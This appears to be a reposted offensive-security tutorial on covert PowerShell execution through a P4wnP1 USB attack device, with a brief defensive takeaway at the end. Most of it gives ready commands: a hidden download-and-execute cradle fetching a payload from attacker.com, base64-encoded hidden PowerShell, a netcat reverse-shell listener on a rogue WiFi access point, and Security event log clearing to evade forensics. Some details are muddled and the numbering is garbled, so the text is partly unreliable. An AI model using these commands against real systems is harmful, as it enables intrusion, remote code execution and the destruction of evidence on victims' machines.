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Introduction
PowerShell is a powerful tool for both administrators and attackers, often leveraged in penetration testing and red teaming due to its deep system integration. A new method for deploying covert channels on P4wnP1—a stealthy attack platform—has been developed, allowing faster and more evasive execution while bypassing restrictive PowerShell Execution Policies. This technique leaves minimal forensic traces, with malicious input visibility lasting less than two seconds before establishing a persistent reverse shell over RAW HID.
Learning Objectives
- Understand how to bypass PowerShell Execution Policies for covert execution.
- Learn how to deploy a stealthy reverse shell using RAW HID over WiFi.
- Explore methods to minimize forensic visibility during post-exploitation.
You Should Know
1. Bypassing PowerShell Execution Policies
Command:
powershell.exe -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
Step-by-Step Guide:
1. `-ExecutionPolicy Bypass` ensures the script runs regardless of local restrictions.
2. `-WindowStyle Hidden` prevents a visible PowerShell window.
3. `IEX (Invoke-Expression)` fetches and executes a remote script in memory, avoiding disk writes.
2. Establishing a RAW HID Covert Channel
Command (P4wnP1 Setup):
sudo p4wnp1-cli hid run -c '{"Command":"RawHID","Data":"01 02 03 04 05 06"}'
Step-by-Step Guide:
- P4wnP1’s RAW HID allows sending keystrokes as device input, evading traditional network monitoring.
- The attacker configures a listener on the P4wnP1 to capture reverse shell connections.
- The victim device interprets HID input as legitimate keyboard strokes, executing the payload.
3. Minimizing Forensic Visibility
Command (Process Hiding):
Start-Process -NoNewWindow -FilePath "powershell.exe" -ArgumentList "-nop -w hidden -e <base64_encoded_payload>"
Step-by-Step Guide:
1. `-NoNewWindow` prevents spawning a new visible process.
- Base64 encoding obfuscates the payload from command-line logging.
- The process runs in the background with minimal system impact.
4. WiFi-Based Reverse Shell Exfiltration
Command (Listener Setup on P4wnP1):
nc -lvp 4444 -s 192.168.4.1
Step-by-Step Guide:
- The P4wnP1 acts as a rogue access point.
2. The victim connects to the attacker-controlled WiFi.
- A reverse shell is established over the local network, avoiding external internet logs.
5. Cleaning Up Traces
Command (Event Log Deletion):
wevtutil cl Security
Step-by-Step Guide:
1. `wevtutil` clears Windows Event Logs to remove execution evidence.
2. Combine with timestomp (Metasploit) to alter file timestamps.
3. Reduces chances of detection during forensic analysis.
What Undercode Say
- Key Takeaway 1: RAW HID-based attacks are highly evasive, as they mimic legitimate input devices rather than malicious network traffic.
- Key Takeaway 2: PowerShell remains a dominant attack vector due to its flexibility, but proper logging and constrained language mode can mitigate risks.
Analysis:
This technique highlights the evolving sophistication of post-exploitation tradecraft. Defenders must monitor not only network traffic but also HID device anomalies and unusual PowerShell executions. Future detection methods may require behavioral analysis of low-level USB/HID interactions rather than traditional signature-based detection.
Prediction
As offensive security tools like P4wnP1 advance, defenders will need to adopt hardware-based detection mechanisms (e.g., USB traffic inspection) alongside traditional endpoint security. PowerShell attacks will persist, but increased adoption of AMSI (Antimalware Scan Interface) and constrained language mode may force attackers toward alternative methods like .NET reflection or direct API calls.
IT/Security Reporter URL:
Reported By: Daniel Scheidt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
